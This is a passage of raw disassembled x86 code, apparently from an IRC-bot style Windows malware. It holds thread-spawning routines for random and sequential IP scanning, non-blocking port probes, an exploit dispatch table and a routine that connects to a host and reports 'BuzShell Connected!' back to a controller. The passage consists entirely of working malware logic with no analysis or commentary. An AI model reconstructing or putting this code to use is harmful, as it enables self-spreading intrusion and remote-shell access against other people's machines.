loc_40BDE4:				; CODE XREF: sub_40BC0C+1A7j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D09C0
		call	sub_41BC60
		mov	dword_4D0A44, ebx


loc_40BDFB:				; CODE XREF: sub_40BC0C+1C1j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D09BC
		push	offset dword_4347E8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B254
		add	esp, 1Ch
		mov	dword_4D09B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D07A8
		push	offset sub_40F6A7
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, dword_4D09B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	loc_40BEFF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_434790
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40BE79:				; CODE XREF: sub_40BC0C+2FBj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415F45
		pop	ecx


loc_40BE86:				; CODE XREF: sub_40BC0C+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43406C[ecx], ebx
		jz	loc_40BFB3
		push	7
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jnz	loc_40BFAD
		mov	eax, dword_4D1034
		cmp	[ebp+arg_90], bl
		mov	dword_4D046C, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D0460, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D0468, ebx
		mov	dword_4D04F0, eax
		push	7Fh
		jnz	short loc_40BF0C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0470
		call	sub_41BC60
		mov	dword_4D04F4, 1
		jmp	short loc_40BF23
; ---------------------------------------------------------------------------


loc_40BEF7:				; CODE XREF: sub_40BC0C+2F9j
		push	32h
		call	dword_428080	; Sleep


loc_40BEFF:				; CODE XREF: sub_40BC0C+24Cj
		cmp	dword_4D0A48, ebx
		jz	short loc_40BEF7
		jmp	loc_40BE79
; ---------------------------------------------------------------------------


loc_40BF0C:				; CODE XREF: sub_40BC0C+2CFj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0470
		call	sub_41BC60
		mov	dword_4D04F4, ebx


loc_40BF23:				; CODE XREF: sub_40BC0C+2E9j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	dword_4D046C
		push	offset unk_434760
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B254
		add	esp, 18h
		mov	dword_4D0464, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0460
		push	offset sub_40F405
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, dword_4D0464
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	loc_40C0A5
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434728
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40BFA0:				; CODE XREF: sub_40BC0C+4A1j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415F45
		pop	ecx


loc_40BFAD:				; CODE XREF: sub_40BC0C+29Bj
		mov	eax, [ebp+arg_130]


loc_40BFB3:				; CODE XREF: sub_40BC0C+28Bj
		shl	eax, 6
		cmp	dword_434068[eax], ebx
		jz	loc_40C0EC
		push	3
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jnz	loc_40C0EC
		mov	esi, offset dword_4D0CDC
		push	104h
		push	esi
		push	ebx
		call	dword_428078	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41C4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BFF4
		mov	[eax], bl


loc_40BFF4:				; CODE XREF: sub_40BC0C+3E4j
		mov	eax, dword_42A968
		mov	dword_4D0DF4, ebx
		mov	dword_4D0DE0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0A54
		call	sub_41BEF6
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D0A50, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D0DE0
		mov	dword_4D0DEC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D0DF0, ecx
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4346D8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	dword_4D0DE8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0A50
		push	offset sub_40FDBE
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, dword_4D0DE8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jz	short loc_40C0C4
		jmp	short loc_40C0BA
; ---------------------------------------------------------------------------


loc_40C09D:				; CODE XREF: sub_40BC0C+49Fj
		push	32h
		call	dword_428080	; Sleep


loc_40C0A5:				; CODE XREF: sub_40BC0C+373j
		cmp	dword_4D04F8, ebx
		jz	short loc_40C09D
		jmp	loc_40BFA0
; ---------------------------------------------------------------------------


loc_40C0B2:				; CODE XREF: sub_40BC0C+4B4j
		push	32h
		call	dword_428080	; Sleep


loc_40C0BA:				; CODE XREF: sub_40BC0C+48Fj
		cmp	dword_4D0DFC, ebx
		jz	short loc_40C0B2
		jmp	short loc_40C0DF
; ---------------------------------------------------------------------------


loc_40C0C4:				; CODE XREF: sub_40BC0C+48Dj
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434690
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40C0DF:				; CODE XREF: sub_40BC0C+4B6j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415F45
		pop	ecx


loc_40C0EC:				; CODE XREF: sub_40BC0C+14j
					; sub_40BC0C+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BC0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0F0	proc near		; CODE XREF: sub_40C271:loc_40C2D3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CE448h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CE230	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CE304	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C138	proc near		; CODE XREF: sub_40C271+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B650
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C160
		xor	eax, eax
		jmp	short loc_40C1D1
; ---------------------------------------------------------------------------


loc_40C160:				; CODE XREF: sub_40C138+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C973
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C18D
		call	sub_41BF52
		mov	[ebp+var_C], eax


loc_40C18D:				; CODE XREF: sub_40C138+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C19A
		call	sub_41BF52
		mov	[ebp+var_8], eax


loc_40C19A:				; CODE XREF: sub_40C138+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C1A7
		call	sub_41BF52
		mov	[ebp+var_4], eax


loc_40C1A7:				; CODE XREF: sub_40C138+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C1B3
		call	sub_41BF52


loc_40C1B3:				; CODE XREF: sub_40C138+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CE448[ecx*8], eax


loc_40C1D1:				; CODE XREF: sub_40C138+26j
		pop	esi
		leave
		retn
sub_40C138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1D4	proc near		; CODE XREF: sub_40B9E3+5Cp
					; sub_40C271+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CE388	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C1FD
		xor	eax, eax
		jmp	short loc_40C26C
; ---------------------------------------------------------------------------


loc_40C1FD:				; CODE XREF: sub_40C1D4+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CE308	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CE3A4	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CE2F0	; select
		push	esi
		mov	edi, eax
		call	dword_4CE3A0	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C26C:				; CODE XREF: sub_40C1D4+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C271	proc near		; DATA XREF: sub_40C485+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40C462
; ---------------------------------------------------------------------------


loc_40C2BD:				; CODE XREF: sub_40C271+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C2D3
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C138
		pop	ecx
		jmp	short loc_40C2D8
; ---------------------------------------------------------------------------


loc_40C2D3:				; CODE XREF: sub_40C271+51j
		call	sub_40C0F0


loc_40C2D8:				; CODE XREF: sub_40C271+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_44124C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_434940
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_441048[ebx]
		push	eax
		call	sub_41BEF6
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C1D4
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C457
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C3AC
		push	offset dword_4D0448
		call	dword_4280DC	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_4348F8
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C38E
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C382
		lea	eax, [ebp+var_140]


loc_40C382:				; CODE XREF: sub_40C271+109j
		push	eax
		push	[ebp+var_40]
		call	sub_409743
		add	esp, 14h


loc_40C38E:				; CODE XREF: sub_40C271+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415F45
		mov	[esp+2A8h+var_2A8], offset dword_4D0448
		call	dword_4280D8	; RtlLeaveCriticalSection
		jmp	loc_40C457
; ---------------------------------------------------------------------------


loc_40C3AC:				; CODE XREF: sub_40C271+BEj
		push	edi
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41BEF6
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C3F0
		lea	eax, [ebp+var_140]


loc_40C3F0:				; CODE XREF: sub_40C271+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41BEF6
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43405C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C457:				; CODE XREF: sub_40C271+B4j
					; sub_40C271+136j
		push	7D0h
		call	dword_428080	; Sleep


loc_40C462:				; CODE XREF: sub_40C271+47j
		mov	eax, dword_44124C[ebx]
		cmp	dword_4CE44C[eax*8], 0
		jnz	loc_40C2BD
		push	esi
		call	sub_40B56A
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
sub_40C271	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C485	proc near		; DATA XREF: sub_401AA1+1EE0o
					; sub_401AA1+5B56o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CE448[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BC0C
		push	0Bh
		call	sub_40B496
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C553
		mov	esi, offset dword_4D0448
		push	esi
		call	dword_4280E4	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4280E0	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C553
		lea	eax, [ebp+var_1CC]
		push	offset dword_434AD0
		push	eax
		call	sub_41BEF6
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C53D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409743
		add	esp, 14h


loc_40C53D:				; CODE XREF: sub_40C485+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415F45
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C553:				; CODE XREF: sub_40C485+63j
					; sub_40C485+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_428080
		mov	edi, ebx
		mov	dword_4CE44C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C615


loc_40C571:				; CODE XREF: sub_40C485+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_434A70
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B254
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_44124C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C271
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_40C62C
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_434A10
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415F45
		add	esp, 10h


loc_40C607:				; CODE XREF: sub_40C485+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C571


loc_40C615:				; CODE XREF: sub_40C485+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_40C63A
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40C647
; ---------------------------------------------------------------------------


loc_40C628:				; CODE XREF: sub_40C485+1AAj
		push	1Eh
		call	esi	; Sleep


loc_40C62C:				; CODE XREF: sub_40C485+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40C628
		jmp	short loc_40C607
; ---------------------------------------------------------------------------


loc_40C633:				; CODE XREF: sub_40C485+1C0j
		push	7D0h
		call	esi	; Sleep


loc_40C63A:				; CODE XREF: sub_40C485+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CE44C[eax*8], 1
		jz	short loc_40C633


loc_40C647:				; CODE XREF: sub_40C485+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CE448[eax*8]
		push	eax
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_4349A0
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C695
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409743
		add	esp, 14h


loc_40C695:				; CODE XREF: sub_40C485+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415F45
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_4CE44C[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B496
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C6CC
		push	offset dword_4D0448
		call	dword_4280E4	; RtlDeleteCriticalSection


loc_40C6CC:				; CODE XREF: sub_40C485+23Aj
		push	[ebp+var_2C]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_40C485	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6DC	proc near		; CODE XREF: sub_40EA40+4F9p

var_410		= byte ptr -410h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CE348	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4CE308	; ntohs
		push	0
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CE388	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C73E
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C742


loc_40C73E:				; CODE XREF: sub_40C6DC+4Ej
		xor	eax, eax
		jmp	short loc_40C770
; ---------------------------------------------------------------------------


loc_40C742:				; CODE XREF: sub_40C6DC+60j
		push	0
		lea	eax, [ebp+var_410]
		push	400h
		push	eax
		push	esi
		call	dword_4CE320	; recv
		push	0
		push	1
		push	offset aBuzshellConnec ; "BuzShell Connected!"
		push	offset asc_42AAA4 ; "#l"
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_40C770:				; CODE XREF: sub_40C6DC+64j
		pop	esi
		leave
		retn
sub_40C6DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C773	proc near		; DATA XREF: sub_40C840+7Bo
					; sub_40C931+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CE308	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CE388	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C831
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_441254[ecx], esi
		jz	short loc_40C831
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CE394	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D0E08
		push	offset dword_434B40
		push	edi
		call	sub_41BEF6
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409743
		push	edi
		call	sub_415F45
		add	esp, 28h


loc_40C831:				; CODE XREF: sub_40C773+5Dj
					; sub_40C773+7Ej
		push	esi
		call	dword_4CE3A0	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C773	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C840	proc near		; DATA XREF: sub_401AA1+5F34o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_428080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C86E:				; CODE XREF: sub_40C840+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset dword_434B88
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_441048
		push	eax
		call	sub_41BC60
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C773
		push	edi
		push	edi
		call	dword_428084	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C8DA
		jmp	short loc_40C8D5
; ---------------------------------------------------------------------------


loc_40C8D1:				; CODE XREF: sub_40C840+98j
		push	32h
		call	esi	; Sleep


loc_40C8D5:				; CODE XREF: sub_40C840+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40C8D1


loc_40C8DA:				; CODE XREF: sub_40C840+8Dj
		push	[ebp+var_4]
		call	dword_428070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CE230	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CE304	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		jmp	loc_40C86E
sub_40C840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C931	proc near		; DATA XREF: sub_401AA1+5C5Bo

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_428080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C95F:				; CODE XREF: sub_40C931+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
